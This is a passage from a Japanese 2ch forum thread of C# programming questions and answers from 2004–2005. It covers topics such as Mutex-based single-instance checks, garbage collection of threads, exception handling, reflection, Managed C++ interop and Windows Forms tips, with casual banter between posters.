700 名前:デフォルトの名無しさん mailto:sage [04/12/08 15:15:09] >>699 リフレクションをシンタックスシュガーだと言っているのではなく、 >>675 の「Metaclass」なるものは単なるリフレクションのシンタックスシュガーに過ぎない と言ってるだけ。 Type T; があったとき、 T a = new T() なんて書けるとリフレクション使うときには便利、 それには同意する。
701 名前:デフォルトの名無しさん mailto:sage [04/12/08 15:23:24] そうなのかな、どうにもこうにも拡大解釈としか捕らえられないのだが・・・
702 名前:デフォルトの名無しさん mailto:sage [04/12/08 15:29:41] だって漏れは「リフレクションをシンタックスシュガーだということに・・・」って主張してないじゃん。 だから一体何をどう捕らえられているのかサッパリわかんない。 ケチらないでもう少し言いたいことを書いてよ。
703 名前:デフォルトの名無しさん mailto:sage [04/12/08 15:37:49] >>702 ちょっと勘違いがあるかも、リフレクション機能を対象にしたシンタックスシュガーってのは変だと思うわけ。 リフレクションは基本的にこれがありとなると、もはや何でもありになってしまう。 何でもありな物をシンタックスシュガーだと主張するなら言語機能の全てがシンタックスシュガーということになってしまうが、 これは常識的なシンタックスシュガーの概念とは違うと思う。 シンタックスシュガーは元々定義があいまいなので、主観で貴方がそう思うというならそういう事としかいいようがないと思います。
704 名前:デフォルトの名無しさん mailto:sage [04/12/08 16:00:03] >>703 よくわかった。漏れが>>715 をシンタックスシュガーだと思ったのは、現行のTypeとの違いが 局所的な記法の違いだけだってとこから。 主観だけど構文が違うだけで機能が同じなら、それはやはりシンタックスシュガーだと思う。 C++のテンプレートが型推論機構のおかげで普通のチューリングマシンとしての機能を完備していて、 単なるマクロの便利な記法を脱却しているのと比べてしまうからそう思うのかもしれないけど。
705 名前:デフォルトの名無しさん mailto:sage [04/12/08 21:21:52] ていうかシンタックスシュガーって何ですか。
706 名前:デフォルトの名無しさん mailto:sage [04/12/08 21:24:53] >>705 分からないときにはとりあえずぐぐって下さいな www.google.com/search?num=50&hl=ja&lr=lang_ja&safe=off&ie=SJIS&oe=SJIS&q=%82%C4%82%A2%82%A4%82%A9%83V%83%93%83%5E%83b%83N%83X%83V%83%85%83K%81%5B%82%C1%82%C4%89%BD%82%C5%82%B7%82%A9%81B
707 名前:デフォルトの名無しさん mailto:sage [04/12/08 21:27:26] シンタックスシュガーがあるのなら、シンタックスソルトとか、 シンタックスペッパーもあるのですか?
708 名前:デフォルトの名無しさん mailto:sage [04/12/08 21:35:24] >>706 ぐぐった可能性を微塵も考慮しないあたりがステキ。 >>707 正露丸糖衣があるなら正露丸塩衣もあるのですか?
709 名前:デフォルトの名無しさん mailto:sage [04/12/08 22:04:50] ていうか正露丸糖衣って何ですか。
710 名前:デフォルトの名無しさん mailto:sage [04/12/08 22:32:07] >>709 C#に対するIDEみたいなもの。
711 名前:692 mailto:sage [04/12/09 00:02:44] >>692 >>695 ありがとうございます(T−T 間違いなくつっかえると思われます¢(。。;) なお勉強はぼつぼつ進行しつつあり、予言の的中は 15日以降にスケジュールされております。
712 名前:681 mailto:sage [04/12/09 19:00:32] >>682 亀レス失礼。 どうもありがとうございます。
713 名前:デフォルトの名無しさん [04/12/14 10:55:08] 教えてください。 C#でボタンをクリックすると指定したpdfファイルを印刷するような プログラムを作成することはできますか? どうすればいいでしょうか?なにかヒントをお教えください。
714 名前:デフォルトの名無しさん mailto:sage [04/12/14 12:12:27] 君はどのくらいプログラミングが出来るのか、なにかヒントをお教えください。
715 名前:デフォルトの名無しさん mailto:sage [04/12/14 12:13:50] ・Process.Start ・"C:\Program Files\Adobe\Acrobat 6.0\Reader\AcroRd32.exe" /p /h "%1"
716 名前:713 [04/12/14 12:43:25] >715 ありがとうございました。 おかげで印刷することができました。 複数枚を、印刷したい時や、ページを指定して印刷するときは どのようにすればいいでしょうか?よろしくおねがいします。
717 名前:デフォルトの名無しさん [04/12/14 12:56:01] ・・・少しは自分で考えろ
718 名前:デフォルトの名無しさん mailto:sage [04/12/14 17:45:54] >>716 馬鹿ハケーン
719 名前:デフォルトの名無しさん mailto:sage [04/12/15 17:27:53] ファイルをゴミ箱に送るにはどうすればいいのでしょうか
720 名前:デフォルトの名無しさん mailto:sage [04/12/15 17:33:12] >>719 ttp://www.google.com/search?num=100&hl=ja&lr=lang_ja&oe=utf8&q=C%23+%E3%81%94%E3%81%BF%E7%AE%B1
721 名前:719 mailto:sage [04/12/15 18:27:09] スミマセンデシタ orz
722 名前:デフォルトの名無しさん [04/12/17 18:46:13] そのスレッドの参照を誰も持ってない場合に 実行中のスレッドが勝手にGCされちゃうことってあるの? void Start() { Thread thread = new Thread(new ThreadStart(new MyThread())); thread.Run(); // 作りっぱなし }
723 名前:デフォルトの名無しさん mailto:sage [04/12/17 19:48:34] >>722 ないから安心したまい。 実行環境が内部でスレッドを管理するので、参照は実は存在するから。 スレッドが行うメソッドが終了したらGCの対象になる。 細かい話だが、StartされないThreadオブジェクトは参照が無くなればGCの対象だが、 WeakReferenceでのみ参照を持っている状態でもGCの対象にならなくなるようだ。
724 名前:デフォルトの名無しさん mailto:sage [04/12/17 20:04:33] しかしMutexが勝手にGCされてアプリの多重起動防止が効かなくなるということはあるらしいぞ そのためGC対象から外すよう明示的に指示してやるのが良いそうだ GC.KeepAlive(mutex); ってな感じで
725 名前:デフォルトの名無しさん mailto:sage [04/12/17 21:07:34] >>724 それはひょっとしたらSocketがListenした時にMutexが解放されてしまうと言うバグかな。 そうだとしたらGC.KeepAliveも無意味だよ。 そもそもGCの問題じゃないし。 .NET1.0はSP3では解決されてる。.NET2.0(のベータ)は初めから問題なし。 .NET1.1ではSP1でも未解決な、ちょっと頭の痛い問題だ。 TCPチャネルを使ったリモーティングですら解放されてしまうし。
726 名前:デフォルトの名無しさん mailto:sage [04/12/17 21:19:05] そういえばInsider.NETの会議室にもう一つMutex絡みの話が出てた。 スレッドが終了する時に自動的にそのスレッドが所有するMutexを解放するって話。
727 名前:デフォルトの名無しさん [04/12/17 22:03:08] フレームワークのクラスってたくさんあるじゃん。しかも意味不明。
728 名前:デフォルトの名無しさん mailto:sage [04/12/17 22:09:16] 誤爆乙
729 名前:デフォルトの名無しさん mailto:sage [04/12/17 22:12:23] >>725 dobon.net/vb/dotnet/process/checkprevinstance.html > ローカル変数として宣言したMutexを使った場合、うまく行かないことがあるようです(これに従い、 > ここで紹介しているサンプルも修正しました)。静的フィールドを使えば解決されますが、それ以外 > では、GC.KeepAliveメソッドを使用すれば解決できるようです。エントリポイントで二重起動を > チェックする例を次に示します
730 名前:デフォルトの名無しさん mailto:sage [04/12/17 22:23:27] あ、静的変数にしたら問題なくなった。 でもローカル変数のMutexをGC.KeepAliveしてもやっぱりSocketがListenすると解放される……。
731 名前:デフォルトの名無しさん mailto:sage [04/12/23 09:39:14] Htmlをテキストとそのままと表示して、置換を使った簡単なエディタを作りたいなと思うのですが WindowsアプリでローカルにあるHtmlファイルを表示することって出来るのでしょうか?
732 名前:デフォルトの名無しさん mailto:sage [04/12/23 10:06:14] うぇぶくらいあんとつかえばいいのでは?
733 名前:デフォルトの名無しさん mailto:sage [04/12/23 10:32:27] WebBrowserコンポーネントを使えばいいのでは?
734 名前:731 mailto:sage [04/12/23 13:01:13] レス有り難うございます。 キーワードを元に検索して参考になりそうなHPを見つけました。 これから頑張って作ってみます。
735 名前:デフォルトの名無しさん mailto:sage [04/12/29 23:55:43] 次期OSでの商用パッケージアプリってC#で開発されるのかな?
736 名前:デフォルトの名無しさん mailto:sage [04/12/30 12:29:00] VisualStudioとか
737 名前:デフォルトの名無しさん mailto:sage [05/01/03 00:26:06] つぎのofficeがC#ってのを聞いたことがある。 office2005の入ってる人は.netも入っていて C#アプリも配布できるのだと。
738 名前:デフォルトの名無しさん mailto:sage [05/01/03 14:29:40] Office2003も.NETでプラグインを作れたような。 …って、C#とは限らないか。
739 名前:デフォルトの名無しさん mailto:sage独り言 [05/01/03 17:56:34] 同一アプリケーションドメイン上に、同じキーを持つオブジェクトが1つしかない事を保証したい singleton を変形し、同じキーで作成しようとしたら、以前作成したオブジェクトを返す ただし、そのオブジェクトは GC に回収されるようにしたい WeakReference を Hashtable 内に押し込むのが正解? WeakReferenceTable オブジェクトとかって無いの?
740 名前:デフォルトの名無しさん mailto:sage [05/01/05 00:59:40] C#でRemotingを使いたいのですが、MSDNやGDN以外で参考になるサイトはありますか? ぐぐったのですが、ほとんど見あたりません・・・
741 名前:デフォルトの名無しさん mailto:sage [05/01/05 01:09:35] >>740 慣れればそう複雑でも無い事が分かるから(奥は深そうだけど)、取りあえず自分で実際に試す事だね。 ttp://d.hatena.ne.jp/N0MURA/20040108 VB.NETだけど、こことか。
742 名前:デフォルトの名無しさん mailto:sage [05/01/05 01:15:19] >>741 ありがとうございます、試してきます〜
743 名前:デフォルトの名無しさん mailto:sage [05/01/05 02:07:36] >>740 本は丸ごと一冊リモーティングの本があったよね お試しとかでなく実用として遣うなら買うことお勧め。時間の短縮分で元が取れると思う。
744 名前:デフォルトの名無しさん mailto:sage [05/01/06 00:52:02] かなり頭が悪いのですが、よろしくお願いします。 以下のようなメソッドがあると仮定します。 メソッド { if (略) { bool a result1 = true; } if (略) { bool result2; result2 = true; } if (result1 == true || result2 == true) { (終了); } } result1 とresult2 がtrueになったときに 一番下の(終了)という部分を実行したいのですが、 ビルドをすると「未割り当てのローカル変数が参照されました。」と 表示されエラーになってしまいますが、何が原因なのでしょうか。 よろしくおねがいします。
745 名前:デフォルトの名無しさん mailto:sage [05/01/06 00:52:18] 変数のスコープ wisdom.sakura.ne.jp/programming/cs/cs23.html
746 名前:デフォルトの名無しさん mailto:sage [05/01/10 19:53:24] C♯ソースコードのステップ数とかを評価してくれるソフトってない? C++とかのは見かけるんだけど
747 名前:デフォルトの名無しさん mailto:sage [05/01/10 21:05:30] >>746 ドットネットのすてっぷカウント♪ ttp://www.vector.co.jp/soft/win95/prog/se327186.html とかどうだろう。
748 名前:yuuteen [05/01/11 18:04:49] こんにちわ。 初めて書き込ませて頂きます。 C#のSystem.Diagnostics.Process.GetProcessesプロシージャが Windows2000では失敗すると、下記のサイトにあるのですが、 support.microsoft.com/kb/823642/ja#kb3 何故、なのでしょうか? それと、どうやったら、失敗しないのでしょうか? 誰か、助けて!!
749 名前:デフォルトの名無しさん mailto:sage [05/01/11 19:58:00] >>748 パフォーマンスカウンタに関する問題が原因だったような。 書いてあるように HotFix を入手するか、違う方法を考えればよし。 特に、二重起動防止をやりたいのなら、これじゃなくて、Mutex を 使うほうがいいよ。
750 名前:746 mailto:sage [05/01/12 01:22:28] >>747 ズバリでした 探しそびれていたようで。 痛み入りますorz
751 名前:yuuteen [05/01/12 12:27:20] >>749 ありがとうございます。 確かにおっしゃる通りで、HotFixを入手する手も考えたのですが そもそも、根本的に二重起動チェックの方法が悪いのではというところで 悩んでいました。 ちなみに、バッチの二重起動チェックなのですが...。 下記がMutexを使用した場合のソースなのですが こんな感じなのでしょうか? また、"MyName"は他の文字列と置換え可能だと、サンプルを見る限り 書いてあったのですが、バッチの二重起動チェックの場合、何をここに 記述しなくてはいけないのですか? 二重起動チェック処理は共通関数化して行う予定です。 ご教授下さい。 /////////////////////////////////////////////////////////////////////////// bool exit = false; System.Threading.Mutex m = new System.Threading.Mutex(false, "MyName"); if (m.WaitOne(0, false) == false) { //すでに起動していると判断する m.close(); exit = true; } else { exit = flse; } //アプリケーションが終わるまでmへの参照を維持するようにする GC.KeepAlive(m); } ///////////////////////////////////////////////////////////////////////////
752 名前:デフォルトの名無しさん mailto:sage [05/01/12 13:03:14] >//アプリケーションが終わるまでmへの参照を維持するようにする >GC.KeepAlive(m); GC.KeepAliveはそういう仕様ではありません。 こんなクラスを使えば良いでしょう。 class Hoge { System.Threading.Mutex _m; boole _is_ok; public Hoge(string id) { _m = new System.Threading.Mutex(false, id); _is_ok = _m.WaitOne(0, false); } public ~Hoge() { _m.Close(); } public bool IsOK { get { return _is_ok; } } } 使い方 class YourApp { Hoge _hoge = new Hoge("YourAppName"); // メンバ変数等、アプリが終了するまで残る変数に入れること。 public void Main() { if ( !_hoge.IsOK ) return; ... } }
753 名前:デフォルトの名無しさん mailto:sage [05/01/12 16:11:06] >>751 よく動いてる仕組みもわからず使う気になりますね 全部を詳細に把握しろとは言いませんが。
754 名前:デフォルトの名無しさん [05/01/12 22:20:38] コマンドラインコンパイルの方法教えてください。 javac 〜.javaみたく扱いたいんで。
755 名前:デフォルトの名無しさん mailto:sage [05/01/12 22:22:51] >>754 知ってるけど秘密 c?c だな
756 名前:デフォルトの名無しさん mailto:sage [05/01/12 22:23:22] csc.exeでヘルプを調べる
757 名前:デフォルトの名無しさん mailto:sage [05/01/12 22:25:23] >>755 ば〜かww
758 名前:デフォルトの名無しさん [05/01/12 22:29:12] cscでやれば、ソリューションファイル、プロジェクトファイル、 アセンブリインフォファイルはいらないんだよ。
759 名前:デフォルトの名無しさん mailto:sage [05/01/12 22:31:51] ノリの悪い奴がいるな ちぃー
760 名前:デフォルトの名無しさん mailto:sage [05/01/12 23:01:31] >>755 こういう奴、正直寒い。同じボケるにしてもボケ方ってものがあると思う。
761 名前:755 mailto:sage [05/01/13 20:32:53] ↑必死だなwwwwwww
762 名前:デフォルトの名無しさん mailto:sage [05/01/13 22:58:21] オマエモナー
763 名前:デフォルトの名無しさん mailto:sage [05/01/16 16:55:58] Bitmap bmp = new Bitmap(100,100); Graphics g = Graphics.FromImage(bmp); bmp.MakeTransparent(Color.Red); g.FillRectangle(Brushes.Aqua, 0, 0, 100, 100); g.Dispose(); MakeTransparentを呼び出すと、その後のGraphicsオブジェクトを利用しての描画が出来ないのですが、どうしてでしょうか?
764 名前:デフォルトの名無しさん mailto:sage [05/01/16 17:52:13] Graphicsオブジェクトを作ってからbmpに変更を加えているコードに違和感を感じる。。。
765 名前:デフォルトの名無しさん [05/01/16 23:25:50] 質問です。 マイク端子から音声を取り込むのってどうやるんですか?
766 名前:デフォルトの名無しさん mailto:sage [05/01/16 23:34:49] >>765 ↓こっちで聞いた方がいいと思われ。 Managed DirectX vol.2 pc5.2ch.net/test/read.cgi/tech/1061285378/
767 名前:デフォルトの名無しさん mailto:sage [05/01/16 23:37:50] >>765 この辺。 1)Win32APIでやる(C#である意味がかなり薄れるとは思うが) ttp://wisdom.sakura.ne.jp/system/winapi/media/mm7.html 2)Managed DirectXでやる ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/directx9_m/directx/sound/capturingwaveforms/creatingthecaptureobject.asp
768 名前:デフォルトの名無しさん mailto:sage [05/01/17 11:14:41 ] >>766 >>767 ありがとん。
769 名前:デフォルトの名無しさん mailto:sage [05/01/17 14:41:07 ] static なArrayListのCountを覗こうとするとエラーがでるんですが 例 class Test { static ArrayList momo = new ArrayLIst(); static int Count { get { return Test.momo.Count; } } } こんな感じで何かしらAddしたものがあればエラーはでないんですが、 0だと駄目です。 trycatchでつかもうとしても駄目。 メッセージ 'System.ArgumentOutOfRangeException' のハンドルされていない例外が system.windows.forms.dll で発生しました。 追加情報 : 指定された引数は、有効な値の範囲内にありません。
770 名前:デフォルトの名無しさん mailto:sage [05/01/17 16:33:51 ] >>769 初期値をいれ時計
771 名前:デフォルトの名無しさん mailto:sage [05/01/17 19:27:43 ] すまんが、C#だと catch(Exception e)で全部もれなく捕らえられるんでしょうか?
772 名前:デフォルトの名無しさん mailto:sage [05/01/17 19:38:16 ,] >>769 予言するけど、それは多分別の箇所でmomo[0]とかしているせい。 momo を static プロパティにでもして get に breakpoint 置いて見てみるべし。
773 名前:デフォルトの名無しさん mailto:sage [05/01/17 21:10:20 ] >771 できます。 throwできるのはSystem.Exceptionから派生したクラスのインスタンス、またはnullだから。 用途によってはcatchの後を省略してもオケー private void Form1_Load(object sender, System.EventArgs e) { try { Nullpo(); } catch { MessageBox.Show("ガッ"); } } private void Nullpo() { throw null; }
774 名前:デフォルトの名無しさん mailto:sage [05/01/18 19:54:35 ] ArrayL"I"st
775 名前:デフォルトの名無しさん mailto:sage [05/01/18 20:19:07 ] >>771 捕まえても逃げるものがあるから注意よん ThreadAbortException とか
776 名前:デフォルトの名無しさん mailto:sage [05/01/18 23:08:21 ] >>775 確認のために聞きたいのですが、「捕まえても逃げる」っていうのは > ThreadAbortException は、キャッチできても、 catch ブロックの末尾でもう一度自動的に発生する特殊な例外です。 ってことを言ってます? ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfSystemThreadingThreadAbortExceptionClassTopic.asp
777 名前:デフォルトの名無しさん mailto:sage [05/01/19 12:06:00 ] >>775 とか?とかなのか?
778 名前:デフォルトの名無しさん mailto:sage [05/01/19 19:56:57 ] 例外だけに例外がありました。
779 名前:デフォルトの名無しさん mailto:sage [05/01/19 20:19:45 ] ( ´д)ヒソ(´д`)ヒソ(д` )ヒソ
780 名前:デフォルトの名無しさん mailto:sage [05/01/20 01:41:24 ] 冷害
781 名前:デフォルトの名無しさん [05/01/20 21:02:08 ] Regex reg = new Regex(pat , ここのオプション ); というのが沢山在るんですが、オプション部分が全て同じなので、 変数を使いたいのですが、変数って使えますか? RegexOptions option = RegexOptions..IgnoreCase | RegexOptions.ExplicitCapture; のようにしてみたけどやっぱりエラーでした
782 名前:デフォルトの名無しさん mailto:sage [05/01/20 21:03:33 ] 使えます。
783 名前:デフォルトの名無しさん mailto:sage [05/01/20 21:07:10 ] どんなエラーが出たってんだ? > RegexOptions..IgnoreCase ここがポイントか?
784 名前:デフォルトの名無しさん mailto:sage [05/01/20 21:22:12 ] そういう場合は、変に省略せずソース丸ごと貼り付けろ。すぐに分かる。
785 名前:デフォルトの名無しさん mailto:sage [05/01/20 22:08:51 ] コード見直してみたら成功シマスタ。スマンカッタ
786 名前:デフォルトの名無しさん mailto:sage [05/01/20 22:13:20 ] どこを見直したんだよ
787 名前:デフォルトの名無しさん mailto:sage [05/01/21 07:01:07 ] RegexOptions..IgnoreCase ↑まさかここではなかろうな
788 名前:デフォルトの名無しさん [05/01/21 10:05:31 ] C#でJPEGやGIF画像のプロパティ(ピクセルサイズ、色数など)を取得するプログラムを今日中に作れといわれたのですが、当方VB6.0しか使ったことがなく途方にくれています。。。 とりあえずVisualStudio2003のC#でテキストボックスにHELLO WORLDと表示させるところまできましたがもう限界です。 どこかにサンプルコードなどありますでしょうか? なにとぞなにとぞよろしくお願いいいたします。
789 名前:デフォルトの名無しさん mailto:sage [05/01/21 10:16:17 ] 採用時に大口でも叩いたの? Image.FromFileでファイルを開けて、返値であるImageオブジェクトの各種プロパティをみれば済む話だが。
790 名前:デフォルトの名無しさん mailto:sage [05/01/21 19:01:06 ] VB6なんて雑魚い言語やってるからそーなるんだよな。
791 名前:最凶VB厨房 mailto:sage [05/01/21 19:33:51 ] 採用時に大口叩いてこれぐらいか。( ..)φメモメモ
792 名前:デフォルトの名無しさん mailto:sage [05/01/21 22:07:35 ] 仕事なら「今日中に」なんてありえない。 数分から数十分でやれないと話にならんでしょ。
793 名前:デフォルトの名無しさん mailto:sage [05/01/22 01:38:44 ] >>792 SmalTalkで今日中に作れといわれてできるのか( ゚Д゚)ゴルァ!!
794 名前:792 mailto:sage [05/01/22 02:18:58 ] できますよ( ̄ー ̄)
795 名前:デフォルトの名無しさん mailto:age [05/01/31 11:59:50 ] SmalTalkで400件以上Googleに引っかかるのはどうだろうと思いつつ保守ついでのage
796 名前:デフォルトの名無しさん mailto:sage [05/02/03 13:32:35 ] >>237 CHKなんていう意味不明な略語(?)を使うのはやめましょう。 質問は平易な日本語(+正しい技術用語)で具体的に。 姉妹スレの↓もよろしく。 ふらっとC♯(Part5) pc5.2ch.net/test/read.cgi/tech/1065196964/ >このスレッドは > >「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。 > >ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、 勇気をもって書き込んでください。 > >少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。
797 名前:デフォルトの名無しさん mailto:sage [05/02/03 13:34:39 ] 2ちゃんで誤爆するような不注意なヤシ↑ 書いているコードの品質も知れたものだな。。。
798 名前:デフォルトの名無しさん mailto:sage [05/02/04 22:54:42 ] お勧め本を知りたいのですが、このスレで良いでしょうか? ildasm.exeの使い方を詳しくかつ読みやすく紹介している 本をご存知でしたら、どなたか教えてください。
799 名前:デフォルトの名無しさん mailto:sage [05/02/05 20:13:56 ] >>798 推薦図書/必読書のためのスレッド PART 22 pc5.2ch.net/test/read.cgi/tech/1106175218/
800 名前:デフォルトの名無しさん [05/02/06 18:16:53 ] vs.netを使ってるのですが、 "(" と ")" の二つの括弧のいろを変えたいのですが、 フォントおよび色のどの項目を変えればいいのでしょうか?
801 名前:デフォルトの名無しさん mailto:sage [05/02/06 18:45:23 ] なんでもできると思ったら大間違いだ
802 名前:デフォルトの名無しさん mailto:sage [05/02/12 00:07:31 ] 同じ親を持つ兄弟関係の派生クラス間で、 親の持つ共通メンバのみコピーするには ひとつひとつ代入するしかない?
803 名前:デフォルトの名無しさん mailto:sage [05/02/12 00:17:28 ] >>802 しかない 不便なら親クラスに CopyTo メソッドとか付けとけ
804 名前:デフォルトの名無しさん mailto:sage [05/02/12 00:22:45 ] リフレクションで手を抜く事はできるかもしれないがね。
805 名前:802 mailto:sage [05/02/12 00:23:30 ] >>803 意外に楽できないんだな。かゆいところに手が届かないというか。 implicitにでも書いとく。ありがとう。
806 名前:デフォルトの名無しさん mailto:sage [05/02/12 12:33:29 ] フォームが始めて表示された直後にイベントを発生させる方法はありますか? Loadの後にイベントを起こしたいのですが。
807 名前:806 [05/02/12 13:03:20 ] いまはとりあえずFormにフラグをつくって それをActivatedで判断するという方法を使ってますが、 ほかに正攻法はあるのでしょうか?
808 名前:デフォルトの名無しさん mailto:sage [05/02/12 17:37:41 ] >>807 それが正攻法だと思われます。
809 名前:デフォルトの名無しさん mailto:sage [05/02/12 17:44:58 ] Loadイベントの最後でRefreshさせて、その後とか。 行儀はよろしくなさそうだが。
810 名前:387 [05/02/14 14:27:11 ] 自作アプリケーションで C# を外部スクリプトとして利用しようと思ったんだけど、 アセンブリ参照をソースに埋め込むってことできないの? VC++ の #pragma comment( lib, "hoge.dll" ) みたいなやつ。 おしえてちょー。
811 名前:デフォルトの名無しさん mailto:sage [05/02/14 15:16:19 ] >>810 ソースには無理。プロジェクトファイルで指定して、ビルド時に参照。 もしくは、Reflection で茨の道・・・
812 名前:デフォルトの名無しさん mailto:sage [05/02/14 15:40:19 ] Reflectionはインタフェイスとか使おうとしないで完全に動的にやれば そう難しくもないような気がする。 用途によってはアプリケーションドメイン単位でしかアンロードできないのが 何かと不便だけど。
813 名前:デフォルトの名無しさん [05/02/14 23:58:44 ] C#はじめました で ControlPaint.DrawReversibleFrame(new Rectangle(0,0,200,200), Color.Black, FrameStyle.Thick); とやったら、デスクトップの左上にシカクがでました。 このシカクをフォームの中にいれたいんですが、どーしたらいいんでしょ
814 名前:デフォルトの名無しさん mailto:sage [05/02/15 00:40:09 ] FormのPointToScreen
815 名前:デフォルトの名無しさん [05/02/15 00:52:04 ] おお、ありがとさんです
816 名前:デフォルトの名無しさん [05/02/19 22:12:19 ] 「デスクトップを表示」や「最小化」でタスクバーに収まったフォームを 元に戻すメソッドはどれでしょうか。
817 名前:デフォルトの名無しさん mailto:sage [05/02/19 22:17:46 ] メソッドじゃないが、FormのWindowStateプロパティ。
818 名前:デフォルトの名無しさん mailto:sage [05/02/19 23:32:02 ] >817 ありがとうこざいます。
819 名前:デフォルトの名無しさん mailto:sage [05/02/20 13:22:18 ] 結局メソッドだけどね
820 名前:デフォルトの名無しさん [05/02/20 14:19:22 ] .NETはXML形式でオブジェクトをシリアライズできると聞きましたが これは再コンパイルせずにテキストツール等で容易にパラメータの書き換えができるってことですか?
821 名前:デフォルトの名無しさん mailto:sage [05/02/20 16:46:22 ] あるオブジェクトのメンバにアクセスできる範囲を、利用するクラスによって変えたい。 たとえばAというクラスからは、プロパティで取得・変更ができるけど、 Bというクラスからは取得のみ可能、 Cというクラスはすべてのメンバにアクセスできるが、 Dというクラスは一部にしかアクセスできない、というふうに。
822 名前:デフォルトの名無しさん mailto:sage [05/02/20 17:11:14 ] それぞれのクラス用ラッパーを作る
823 名前:デフォルトの名無しさん mailto:sage [05/02/20 18:15:35 ] >>822 回答ありがとう。でも「ラッパークラス」で調べてみると C++やアンマネージ、COMとかいった仰々しいものが続々出てきて手に負えそうにない。 あるいはもしかしたらこういうこと? Originalの代わりにWrapperを公開して、メンバのabcはプロパティで取得のみ可。 class Original{ private SomeClass abc; public SomeClass Abc{ set{abc = value;} get{return abc;} } } class Wrapper{ private Original org; public SomeClass Abc{ get{return org.Abc;} } } これだとWrapperの内部では自由にOriginalにアクセスできてしまうし、 SomeClassのAbcの参照先は値が変更可能になっている。 Originalの持つメンバに関して、あるクラスからは完全に取得限定にしたいけど、 そういう都合のいい方法ってある?
824 名前:デフォルトの名無しさん mailto:sage [05/02/20 18:18:26 ] if(Environment.StackTrace.IndexOf("Class1"
825 名前:デフォルトの名無しさん mailto:sage [05/02/20 18:30:06 ] >>823 > SomeClassのAbcの参照先は値が変更可能になっている。 Original.AbcとWrapper.Abcで動作は等価と思うのだが。 それでダメなら属性で制御するくらいしか思いつかんな。 そうするとコンパイルエラーを出せないが。
826 名前:デフォルトの名無しさん mailto:sage [05/02/20 18:59:08 ] >>825 入れ子のクラスにする方法を考えてみた。 >>823 のWrapperをOriginalのメンバにしてみるとか。 属性かー。それで工夫してみるよ。どうもありがとう。
827 名前:デフォルトの名無しさん mailto:sage [05/02/21 13:22:34 ] WIndowsアプリケーションのListView使ってるんだけど 列の非表示ってできる?やり方が見当たらなくて。
828 名前:デフォルトの名無しさん mailto:sage [05/02/21 14:41:54 ] >>827 無理なはず。
829 名前:デフォルトの名無しさん mailto:sage [05/02/27 03:17:43 ] ちょっと聞いてやるがローカルマシンにSQLserver(もしくはMSDE)がインストールされてるか判別したいんだが・・・ どなたか教えてください。
830 名前:デフォルトの名無しさん mailto:sage [05/02/27 03:32:30 ] DBがインストールされてるかどうかチェックする機能が必要って。 どんなのが対象なんだか。
831 名前:デフォルトの名無しさん mailto:sage [05/02/27 03:35:14 ] DB がダンボールに見えてしまった もうだめぽ
832 名前:デフォルトの名無しさん mailto:sage [05/02/27 03:38:22 ] ボールしかあってないじゃねーか。
833 名前:デフォルトの名無しさん mailto:sage [05/02/27 03:42:35 ] ダンもあってるYO
834 名前:デフォルトの名無しさん mailto:sage [05/02/27 13:32:24 ] ドラゴンだろ
835 名前:デフォルトの名無しさん mailto:sage [05/02/27 14:00:01 ] 接続しにいく、ってのがいいんじゃないか?
836 名前:デフォルトの名無しさん [05/02/27 15:24:28 ] 質問です。 VC++6.0で作成したクラスライブラリ(.lib)を C♯で使用したいと思っています。 VC++6.0で使っていたときは .libファイルとともに梱包されていたヘッダーファイルを インクルードしていたのですが、 C♯ではそんなことできないですよね? ネットでいろいろ調べてみたものの、 解決策は見つけられませんでした。 申し訳ありませんが、どなたかよろしかったらご教示ください。
837 名前:デフォルトの名無しさん mailto:sage [05/02/27 16:14:08 ] Managed C++ www.microsoft.com/japan/msdn/net/general/dotnetperftips.asp#dotnetperftips_topic6 pc5.2ch.net/test/read.cgi/tech/1014486422/ www.hit.dj.kit.ac.jp/~haru/cgi-bin/mt/archives/000165.html park15.wakwak.com/~opapa/cpp/Managed.htm mag.autumn.org/Content.modf?id=20041223174327
838 名前:デフォルトの名無しさん mailto:sage [05/02/27 16:24:20 ] >>836 c++のクラスを呼び出したいならmanaged c++を使ってマネージコードから 呼び出せるマネージドクラスでラップする必要があります。 managed c++は禁断の世界だから手を出すときは自己責任で。
839 名前:デフォルトの名無しさん [05/03/01 17:34:27 ] C#からマウスやキーボードを操作したいのですが JavaでいうRobotのようなものはありますか?
840 名前:デフォルトの名無しさん mailto:sage [05/03/01 18:05:56 ] 自分では分かりやすいんだろうが、〜でいう〜という説明は説明になってないってことを肝に銘じておいてくださ〜い! キーボードのエミュレートはSendKeysクラス。 マウスのエミュレートは.NETには無かったような気がするので、Win32APIのmouse_event/SendInputを挙げておこう。
841 名前:デフォルトの名無しさん mailto:sage [05/03/01 18:08:03 ] >>840 ごめんなさい。以後、気をつけます。 ありがとうございました。
842 名前:デフォルトの名無しさん [05/03/01 19:29:08 ] ASP.NET開発について調べています。 クライアントに新しいファイルを作って送るにはどうすればいいですか? .csvみたいな簡素なファイルなら想像できますけど、 エクセルの.xlsファイルとかどうしますか?
843 名前:デフォルトの名無しさん mailto:sage [05/03/01 20:16:24 ] >>842 普通にファイルを生成してリンクしてやるかResponse.BinaryWriteしてやればいいんじゃね? エクセルのバイナリを動的に作れないという話なら、そういう商用コンポーネントを買うのが早いと思うよ。 買わなくても出来るけど苦労する。
844 名前:デフォルトの名無しさん mailto:sage [05/03/01 20:17:29 ] 1.ファイルを作る 2.送る
845 名前:デフォルトの名無しさん mailto:sage [05/03/01 22:07:21 ] >>842 Excel2003ならXMLで・・・
846 名前:デフォルトの名無しさん mailto:sage [05/03/01 22:31:12 ] 2003なんて誰が使ってるんだ? おれはまだ97だが?
847 名前:デフォルトの名無しさん mailto:sage [05/03/01 23:46:10 ] 97はMSのライフサイクル的に死んだバージョンだろ。 修正プログラムの出ないMS製品なんて使ってられるか。
848 名前:デフォルトの名無しさん mailto:sage [05/03/02 00:19:10 ] でもAccess入ってたのこれだけなんだよね。 つーか金ねーよ。
849 名前:デフォルトの名無しさん mailto:sage [05/03/02 01:38:49 ] どっかの学生に買ってきてもらう
850 名前:デフォルトの名無しさん mailto:sage [05/03/02 22:33:11 ] ビル・ゲイツ氏に英王室が名誉ナイト称号 www.yomiuri.co.jp/main/news/20050302i314.htm
